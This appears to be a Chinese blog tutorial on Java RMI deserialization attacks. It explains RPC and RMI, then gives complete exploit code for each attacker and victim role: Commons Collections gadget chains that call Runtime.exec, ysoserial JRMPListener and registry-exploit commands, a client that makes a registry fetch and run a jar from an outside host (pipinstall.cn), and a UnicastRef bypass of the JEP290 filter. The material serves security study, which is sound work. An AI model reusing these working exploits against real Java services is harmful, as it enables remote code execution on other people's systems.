深入学习RMI反序列化

RPC

RPC(Remote pricedure call),即远程过程调用

它是一个计算机协议,允许一台服务器的程序调用另一台服务器的子程序,它使得程序员在进行远程调用时就像调用本地函数一样,无需关注具体交互细节。

RPC的速度优于HTTP(二进制传输),但它的通用性不如HTTP,故RPC适用于内部服务间通信,HTTP适用于客户端与服务器之间的通信

应用

RPC多用于大型企业的分布式系统,因为大型企业的业务/系统繁多,不可能将所有功能都集中在一台服务器上,故需要构建分布式系统,利用RPC去远程调用目标的函数以实现进程的协同和交互

简而言之,RPC就是为了像调用函数一样来让不同服务器之间进行通信

调用过程

参考自wikipedia

  1. 客户端调用客户端stub(client stub)。这个调用是在本地,并将调用参数push到(stack)中。
  2. 客户端stub(client stub)将这些参数包装(序列化),并通过系统调用发送到服务端机器。打包的过程叫 marshalling。(常见方式:XMLJSON、二进制编码)
  3. 客户端本地操作系统发送信息至服务器。(可通过自定义TCP协议HTTP传输)
  4. 服务器系统将信息传送至服务端stub(server stub)。
  5. 服务端stub(server stub)解析信息(反序列化)。该过程叫 unmarshalling
  6. 服务端stub(server stub)调用程序,并通过类似的方式返回给客户端。

流程图

image-20210511213323643

关于RPC更多细节可以去看p1g3学长推荐的视频 RPC演化过程 加深理解

RMI和RPC的区别与联系

  • RPC是一种设计模式,与操作系统和语言无关,而RMI是RPC在Java中的实现
  • RMI面向对象,而RPC不是面向对象,也不能调用对象,它调用的是目标的子程序
  • RMI通过客户端的Stub对象作为远程接口进行远程方法调用,每个远程方法都具有方法签名。没有方法签名的远程方法不能被Client调用
    而RPC通过网络服务协议进行通信,发送参数集,Server接收后就搜索匹配的类和方法进行调用,并将结果编码,然后通过网络协议返回

RMI基础

RMI是Java实现RPC的一种方式,它使用JRMP协议进行通信,使客户端能够调用远程方法/对象。

RMI组成

RMI一般由三部分组成

客户端(Client)

客户端是调用远程对象的发起者,与RPC的Client类似,它会将需要调用的方法以及参数传递到Client Stub,在Client Stub进行序列化(Marshalling),然后以二进制的方式传输到服务端

注册中心(Registry)

Registry用于远程服务的管理,它可以提供服务的查询,绑定,解绑,重绑等操作。

Server端的服务需要先绑定在Registry才能被Client调用

服务端(Server)

服务端是RMI中的被调用者,它接收到Client发送到二进制数据后,会在Seleton进行拆包解析,反序列化(Unmarshalling),然后进行本地调用,传递给Server

还有一些关于RMI组成的概念需要了解

  • Transport Layer:RMI中负责网络通信的部分
  • RRL:Remote Reference Layer,它代表代码层面上逻辑的连接(实际是靠Transport Layer进行网络连接)
  • Stub:即存根,它是远程对象在客户端的代理
  • Skeleton:骨架,它运行于服务端,负责对Stub请求数据的调用

流程图

image-20210513184937101

代码基础

Java提供了RMI的官方函数API,即 java.rmi 包

接口/异常类

Remote

它是一个 interface ,该接口没有声明任何方法,但只有继承了该接口中的方法才能被远程调用

RemoteException

所有能够被远程调用的方法都需要抛出RemoteException异常

如定义接口如下

1
2
3
4
5
6
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IUser extends Remote{
String getName() throws RemoteException;
}

NotBoundException

当尝试在注册表查找或解绑没有绑定的名称,就会抛出NotBoundException

UnicastRemoteObject

只有继承了UnicastRemoteObject的类,才能作为远程对象而被客户端调用

注册中心类

Registry实现的注册中心

Registry

它是一个interface,提供从注册中心获取远程对象引用的方法,其每个方法都存在一个String类型的name参数,其实例可由LocateRegistry.getRegistry()得到

LocateRegistry

用于获取到注册中心的一个连接,这个连接可以用于获取一个远程对象的引用,

被调用的类IUserRemoteObj.java

1
2
3
4
5
6
7
8
9
10
import java.io.Serializable;
import java.rmi.RemoteException;

public class IUserRemoteObj implements IUser, Serializable {
@Override
public String getName() throws RemoteException {
String name = "ttpfx";
return name;
}
}

服务端RegistryServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.util.concurrent.CountDownLatch;


public class RegistryServer {
public static void main(String[] args) throws InterruptedException {
try {
int port = 1234; //Registry的注册端口
Registry registry = LocateRegistry.createRegistry(port);
IUserRemoteObj user = new IUserRemoteObj(); // 创建远程对象
registry.rebind("getName", user); // 把远程对象注册到RMI注册服务器上,并命名为user
System.out.println("服务器启动地址: 127.0.0.1:" + port);
} catch (RemoteException e) {
e.printStackTrace();
}
CountDownLatch latch=new CountDownLatch(1);
latch.await(); //挂起主线程,否则应用会退出
}
}

客户端RegistryClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import java.rmi.RemoteException;
import java.rmi.NotBoundException;


public class RegistryClient {
public static void main(String[] args) {
try {
Registry registry = LocateRegistry.getRegistry(1234);
IUserRemoteObj user = (IUserRemoteObj) registry.lookup("getName");
String name = user.getName();
System.out.println("调用结果:" + name);
} catch (NotBoundException | RemoteException e) {
e.printStackTrace();
}
}
}

先启动server,再启动client,结果如下

image-20210516195754316
由Naming实现的注册中心

Naming

提供从注册中心获取远程对象引用的方法。该类中的方法都为静态,每个方法都包含一个String类型的name参数,该参数为URL格式,如//host:port/name

下面是由Naming实现的注册中心,与Registry相比只是ServerClient做了改动

NamingServer.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.net.MalformedURLException;
import java.rmi.AlreadyBoundException;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

public class NamingServer {
public static void main(String[] args) throws InterruptedException {
try{
int port = 1234;
LocateRegistry.createRegistry(port);
IUserRemoteObj user = new IUserRemoteObj();
Naming.bind("rmi://localhost:1234/getName",user);
System.out.println("服务器启动地址: 127.0.0.1:" + port);
} catch (RemoteException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
CountDownLatch latch=new CountDownLatch(1);
latch.await(); //挂起主线程,否则应用会退出
}
}

NamingClient.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;

public class NamingClient {
public static void main(String[] args){
try{
IUserRemoteObj user = (IUserRemoteObj) Naming.lookup("rmi://localhost:1234/getName");
String name = user.getName();
System.out.println("调用结果:" + name);
} catch (RemoteException e) {
e.printStackTrace();
} catch (NotBoundException e) {
e.printStackTrace();
} catch (MalformedURLException e) {
e.printStackTrace();
}
}
}
image-20210516211129537

反序列化攻击

RMI在传输数据的过程中存在反序列化,自然,RMI的调用也可能会出现Java反序列化相关的问题

测试环境为JDK-7u80

从攻击方分类

有一个点需要首先了解,高版本JDK的注册中心必须与服务端在同一服务器,难以利用注册中心打服务端或服务端打注册中心,而低版本JDK的服务端与注册中心可以分离,具有攻击的可能性

不过总的来说,服务端和注册中心间的攻击都蛮鸡肋的

服务端攻击注册端

当服务端使用bind等函数绑定远程对象时,就会将注册端Obj序列化发送给Registry,而Registry接收参数后就会反序列化对象,造成RCE

Registry.java

1
2
3
4
5
6
7
8
9
10
11
12
package RMI;

import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

public class Registry {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1234);
CountDownLatch latch=new CountDownLatch(1);
latch.await(); //挂起主线程,否则应用会退出
}
}

然后使用ysoserial的注册端攻击模块来打

1
$java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 1234 CommonsCollections1 'open /System/Applications/Calculator.app'
image-20210525192247267

服务端攻击客户端

客户端调用方法的类型为Object,存在利用链。而服务端恰巧被恶意攻击者控制时,服务端就可以通过返回恶意Object从而被客户端反序列化造成命令执行

User.java

1
2
3
4
5
6
7
package RMI;

import java.rmi.Remote;

public interface User extends Remote {
public Object setUser() throws Exception;
}

IUserObj.java

1
2
3
4
5
6
7
8
9
10
11
12
package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IUserObj extends UnicastRemoteObject implements User{
protected IUserObj() throws RemoteException {
}
public Object setUser() throws RemoteException{
return null;
}
}

Client.java

1
2
3
4
5
6
7
8
9
10
11
12
package RMI;

import java.rmi.Naming;

public class Client {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:12345/setUser";
User user = (User)Naming.lookup(url);
Object name = user.setUser();
System.out.println("调用名称为:"+name);
}
}

Server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.Naming;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;

public class Server {
public static class IUserObj extends UnicastRemoteObject implements User{
public IUserObj() throws RemoteException {
super();
}

public Object setUser() throws Exception {
BadAttributeValueExpException calc = getObject("open /System/Applications/Calculator.app");
return calc;
}
}

public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:12345/setUser";
IUserObj user = new IUserObj();
LocateRegistry.createRegistry(12345);
Naming.bind(url,user);
System.out.println("Server Running At:" + url);
}



public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Class<? extends Transformer> aClass = transformerChain.getClass();
Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
return val;
}
}
image-20210525185642688

客户端攻击服务端

当服务端存在传入参数为Object的方法,且服务环境存在利用链时,就会存在RMI反序列化的问题

从RMI架构图可知,服务端会将我们传输的Object进行反序列化,因此存在反序列化漏洞的问题

我们将客户端传入的参数设置为存在反序列化问题的Obj,这里以CC链中的LazyMap作演示

接口User.java

1
2
3
4
5
6
7
8
9
package RMI;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface User extends Remote {
public String getName() throws RemoteException;
public void setUser(Object work) throws RemoteException;
}

远程调用类IUserObj.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package RMI;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class IUserObj extends UnicastRemoteObject implements User{

protected IUserObj() throws RemoteException {
super();
}

@Override
public String getName() throws RemoteException {
return "ttpfx";
}

public void setUser(Object a) throws RemoteException{
System.out.println(a);
}
}

服务端Server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class Server {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1234/setUser";
IUserObj user = new IUserObj();
LocateRegistry.createRegistry(1234);
Naming.bind(url,user);
System.out.println("Server Running At:" + url);
}
}

客户端Client.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
package RMI;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Field;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class Client {
public static BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Class<? extends Transformer> aClass = transformerChain.getClass();
Field iTransformers = aClass.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);
return val;
}

public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1234/setUser";
User user = (User)Naming.lookup(url);

String name = user.getName();
System.out.println("调用名称为:"+name);

BadAttributeValueExpException calc = getObject("open /System/Applications/Calculator.app");
user.setUser(calc);
}
}

调用结果

image-20210521132746766

这里在调试过程中发现了两个有趣的点

  • LazyMap+BadAttributeValueExpException链可以被toString触发反序列化(CC链1不行)

  • 在IDEA的Debug模式下,单步调试发现传入远程调用方法前就能触发RCE

有空再来看看触发原因

找到了这篇文章 Java “后反序列化漏洞” 利用思路

先解释第一点,toString本身也存在readObject方法的调用,而CC2的代码能够走到readObject,CC1不行

(此时就相当于CC链5了)

image-20210520195611197

第二点,IDEA的Debug模式会显示Object相关信息,因此会自动调用该Object的toString方法,从而触发反序列化

客户端攻击注册端

在客户端可用的函数中(list、lookup),只有lookup存在readObject的调用,即存在反序列化的可能性,但lookup调用的参数为String类型,来跟进一下lookup

sun.rmi.registry.RegistryImpl_Stub.class

image-20210530210702546

  • 90行的ref.newCall建立了连接请求

  • 94行将var1进行了writeObject处理,而var1就是lookup传入的String

那我们仿造lookup的流程去重写一个自己的lookup,并把恶意对象赋值为var1传递过去,即可触发反序列化

这里就不写代码了,下面的URLClassLoader带回显攻击使用的也是客户端攻击注册端,具体见下面

注册端攻击客户端

客户端一般调用调用list、lookup这两个函数去查询服务,而查询结果会返回给客户端,客户端将接收到数据进行反序列化,故造成Java反序列化

先用ysoserial起一个恶意注册端

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections1 'open /System/Applications/Calculator.app'

运行示例代码Client.java

1
2
3
4
5
6
7
8
9
10
11
package Reg_Client;

import RMI.User;
import java.rmi.Naming;

public class Client {
public static void main(String[] args) throws Exception {
String url = "rmi://127.0.0.1:1234/User";
User user = (User)Naming.lookup(url);
}
}
image-20210521162033744

注册端攻击服务端

同上,服务端在对注册中心进行查询时,会调用bind等函数,然后将返回结果进行反序列化,如果我们能控制注册中心+目标存在利用链,那同样可造成反序列化RCE

起恶意JRMP服务

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1234 CommonsCollections1 'open /System/Applications/Calculator.app'

Server.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package RMI;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class Server {
public static void main(String[] args) throws Exception{
String url = "rmi://127.0.0.1:1234/setUser";
IUserObj user = new IUserObj();
LocateRegistry.createRegistry(12345);
//Naming.list(url);
//Naming.lookup(url);
//Naming.bind(url,user);
//Naming.rebind(url,user);
Naming.unbind(url);
System.out.println("Server Running At:" + url);
}
}

运行Server.java,使用注册中心解绑服务,实现RCE

image-20210521164356555

与Client不同,注册点攻击服务端的利用中,listlookupbindrebindunbind都能用于触发反序列化

其它攻击方式

远程加载类

简介

RMI进行远程调用时需要Client和Server都存在需要调用的类文件,当存在多个客户端需要进行远程调用时,维护每个客户端上的类文件就很繁琐,这时需要RMI远程加载类

RMI默认不支持远程加载类,需要配置java.security.policy

codebase

JVM根据codebase来找到需要调用的类文件,默认的(调用本地类)称为本地codebase,即从磁盘目录加载。而加载远程类则叫做远程codebase,当远程codebase为恶意服务端时,就可能会触发安全问题

useCodebaseOnly

JDK-6u45JDK-7u21开始java.rmi.server.useCodebaseOnly的值就默认为true,防止JVM从其他地址动态加载类,而要实现远程加载类攻击则需要该值为false

利用

利用条件太过苛刻,实战性不大,配置过程也很麻烦,这里就不复现了

详见 https://xz.aliyun.com/t/7900#toc-9

URLClassLoader带回显攻击

场景适用于Server/Client攻击Registry

注册中心Registry.java

1
2
3
4
5
6
7
8
9
10
11
12
package URLCLD;

import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

public class Registry {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(1099);
CountDownLatch latch=new CountDownLatch(1);
latch.await(); //挂起主线程,否则应用会退出
}
}

客户端URLClient.java

网上绝大多数文章在URLClassLoader这里使用的是bind去触发反序列化,然后回显结果,但使用bind去触发就相当于Server攻击Registry,实战性不大,故这里写了一个Client攻击Registry的带回显攻击 (通过仿写lookup去触发带回显攻击)

修改自p1g3学长的Client攻击Registry,将其中反射链改为了URLClassLoader

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
package URLCLD;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;

import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.net.URL;
import java.net.URLClassLoader;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;


public class URLClient {

public static void main(String[] args) throws Exception {
String ip = "localhost"; //注册中心地址
int port = 1099; //注册中心端口
String remotejar = "http://pipinstall.cn:1234/RMIexploit.jar";
String command = "ls -al";

ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InvokerTransformer("getConstructor",
new Class[] { Class[].class },
new Object[] { new Class[] { URL[].class } }),
new InvokerTransformer("newInstance",
new Class[] { Object[].class },
new Object[] {
new Object[] {
new URL[] { new URL(remotejar) }
}
}),
new InvokerTransformer("loadClass",
new Class[] { String.class },
new Object[] { "ErrorBaseExec" }),
new InvokerTransformer("getMethod",
new Class[] { String.class, Class[].class },
new Object[] { "do_exec", new Class[] { String.class } }),
new InvokerTransformer("invoke",
new Class[] { Object.class, Object[].class },
new Object[] { null, new String[] { command } })
});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map)constructor.newInstance(innermap,chain);


Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象


Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
//
Registry registry = LocateRegistry.getRegistry(ip,port);
Remote r = Remote.class.cast(Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[] { Remote.class }, handler));
// 获取ref
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations

Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);


// 伪造lookup的代码,去伪造传输信息
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(r);
ref.invoke(var2);
}
}

远程恶意文件ErrorBaseExec.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import java.io.BufferedReader;
import java.io.InputStreamReader;

public class ErrorBaseExec {

public static void do_exec(String args) throws Exception
{
Process proc = Runtime.getRuntime().exec(args);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}

打包为jar文件

1
2
$javac ErrorBaseExec.java
$jar -cvf RMIexploit.jar ErrorBaseExec.class

起一个文件服务返回jar文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#Author: ttpfx

from flask import request,Response,Flask
import mimetypes

app = Flask(__name__)

@app.route('/RMIexploit.jar',methods=['GET', 'POST'])
def downloadFile2():
filename = '/java/RMIexploit.jar' #source_file name
f = open(filename, "rb")
response = Response(f.readlines())
mime_type = mimetypes.guess_type(filename)[0]
response.headers['Content-Type'] = mime_type
response.headers['Content-Disposition'] = 'attachment; filename={}'.format("RMIexploit.jar".encode().decode('latin-1'))
return response

if __name__ == '__main__':
app.run(host='0.0.0.0', port=1234, debug=True)

注意本地的JDK版本和vps JDK版本不能相差一个大版本,否则会报错Unsupported major.minor version

如至少同为JDK-8u***

执行流程
  • VPS准备好jar文件后,用Python启动恶意文件服务,然后启动注册端Registry.java

  • Client执行URLClient.java,通过仿写的registry.lookupRegistry触发反序列化

  • Registry执行到反射链部分,通过 java.net.URL获取到恶意jar文件

  • 同理通过反射链执行jar文件里面ErrorBaseExec类的do_exec

  • 在执行do_exec时,命令执行结果传入异常类,然后抛出

    image-20210528210826659
  • Registry获取到抛出的异常后,将异常信息传回Client,由此回显

image-20210528211159773

Bypass JEP290

影响范围JDK版本<8u231

这里测试环境改为了 JDK-8u202

JEP290

先来了解一下什么是JEP290,参见 Oracle官方文档

image-20210529011033562

JEP290 是一种filter机制,用于对Java序列化数据的过滤,以提高代码安全性

JDK9及之后全面支持JEP 290,而JDK9之前,从8u121、7u131、6u141开始也支持JEP290

文档中写明了三种filter,支持黑/白名单

  • Pattern-Based Filters (基于匹配模式的filter)
  • Custom Filters (用户自定义filter)
  • Built-in Filters (JDK内置filter)

Pattern-Based Filters需要在相应文件配置好黑/白名单,启动时指定相应配置文件名,或者直接在启动命令行参数写明黑/白名单

我们配置Pattern-Based Filters时,需要将pattern添加到安全配置文件java.securityjdk.serialFilter属性,或者启用sun.rmi.registry.registryFilter属性

  • JDK 6,7,8位于$JAVA_HOME/conf/security/java.security
  • JDK 9及之上位于$JAVA_HOME/conf/security/java.security

还可以直接在IDAE主界面的Help->Edit Custom VM Options进行添加

具体参数设置见这里

然后再次启动上一节URLClassLoader带回显攻击的代码

image-20210530185135079

被过滤器拦截

UnicastRef Bypass JEP290

给出代码

Registry.java

1
2
3
4
5
6
7
8
9
10
11
12
package JEP;

import java.rmi.registry.LocateRegistry;
import java.util.concurrent.CountDownLatch;

public class Registry {
public static void main(String[] args) throws Exception{
LocateRegistry.createRegistry(2333);
CountDownLatch latch=new CountDownLatch(1);
latch.await(); //挂起主线程,否则应用会退出
}
}

ysoserial开启JRMPListener

1
$java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a Calculator"

ysoserial自带JRMP payload就能绕过JEP290

Client.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package JEP;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.util.Random;

public class Client {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry("localhost",2333);
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint("localhost", 1099);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, true));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
registry.bind("a",proxy);
}
}

原理

学习原理前推荐去看先知上的一篇文章(如下),有助于对Bypass JEP290涉及到的RMI工作机制的理解

深入学习rmi工作原理

Registry的创建

先来看看Registry创建流程

跟进java.rmi.registry.LocateRegistry.createRegistry()

image-20210603004510983

跟进RegistryImpl

sun.rmi.registry.RegistryImpl.class

image-20210603004538856

注意里面的run函数,用到了LiveRef,用来建立RMI连接(else块也用到了LiveRef)

然后是UnicastServerRef,传入的第二个参数为registryFilter

跟一下

image-20210603004608140 image-20210603004616549

设置了一大堆限制条件,只要满足一条就会返回Status.REJECTED

进入UnicastServerRef

image-20210603004641756

然后跟一下setup

image-20210603004700938

跟进exportObject,来到UnicastServerRef

image-20210603004714575

这里的Target携带了注册中心相关的信息

image-20210603004748278

然后进入exportObject,跟一下,一路来到

sun.rmi.transport.tcp.TCPTransport.class

image-20210603004811155

跟进listen

image-20210603004833882

可以看到,当执行到listen时,就开始监听端口,同理此时Server就能执行bind等操作了

Registry的数据接收

再来看看Registry如何处理接收的数据

前面是一些协议判断,数据包交互等过程

关注重点,直接来到UnicastServer的oldDispatch函数

image-20210603005214113

最后直接调用了skel的dispatch,而skel是什么呢?

跟进一下

image-20210603005233473

继续跟一下sun.rmi.registry.RegistryImpl_Skel.class的dispatch

image-20210603005303299

这里就将数据进行反序列化了,那有个疑问,filter的过滤判断又是在哪里呢?

回到UnicastServerRef的oldDispatch函数

image-20210603005357065

跟一下unmarshalCustomCallData

image-20210603005418802

这里就调用了filter去检测将要被反序列化的数据合法性

即在反序列化前就会去调用检测函数unmarshalCustomCallData

UnicastRef Bypass原理

为什么UnicastRef能Bypass JEP290呢?

来看看JDK内置过滤器的白名单

image-20210530201626592

这个UnicastRef就位于白名单中,意味着如果我们能利用它去实现一些目的,而Unicast对象作用是什么?

RMI客户端或服务端与注册端的通信,就基于UnicastRef

跟进bind

image-20210603010054467

建立连接

image-20210603010118651

看看LiveRef的构造函数

image-20210603010134723

传入了ObjIDEndpoint 和一个bool变量,首先跟进ObjID

image-20210603010422645

然后看看Endpoint

image-20210603010444479

可知这里传入的第一个String类型参数是host,第二个int参数是port

而最后isLocal,在执行过程中默认是false

image-20210603010506353

由此可以根据UnicastRef发起RMI请求的流程自己构造一个RMI请求,参见 ysoserial payload中的JRMPClient

image-20210603010623354

而发起请求后,会调用sun.rmi.transport.DGCImpl_Stubdirty函数去和JRMP建立连接

image-20210603011316785

如图,在71行的this.ref.newCall建立连接,然后在74行的var5.getOutputStream获得恶意Object数据,在77行的var6.writeObject写入数据

82行调用UnicastRef的invoke

image-20210603011635534

218行调用sun.rmi.transport.StreamRemoteCallexecuteCall,最终在该函数实现反序列化

image-20210603011829821

而JRMP接收的数据反序列化流程就没有调用到UnicastServerRef中的unmarshalCustomCallData去检验该数据合法性,成功绕过JEP290

如图,反序列化数据前

image-20210603012249156

反序列化后

image-20210603012310635 image-20210603012318166

反序列化出的var14就是CC链5中的BadAttributeValueExpException

注册端反序列化调用栈

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
executeCall:260, StreamRemoteCall (sun.rmi.transport)
invoke:375, UnicastRef (sun.rmi.server)
dirty:109, DGCImpl_Stub (sun.rmi.transport)
makeDirtyCall:382, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:324, DGCClient$EndpointEntry (sun.rmi.transport)
registerRefs:160, DGCClient (sun.rmi.transport)
registerRefs:102, ConnectionInputStream (sun.rmi.transport)
releaseInputStream:157, StreamRemoteCall (sun.rmi.transport)
dispatch:80, RegistryImpl_Skel (sun.rmi.registry)
oldDispatch:468, UnicastServerRef (sun.rmi.server)
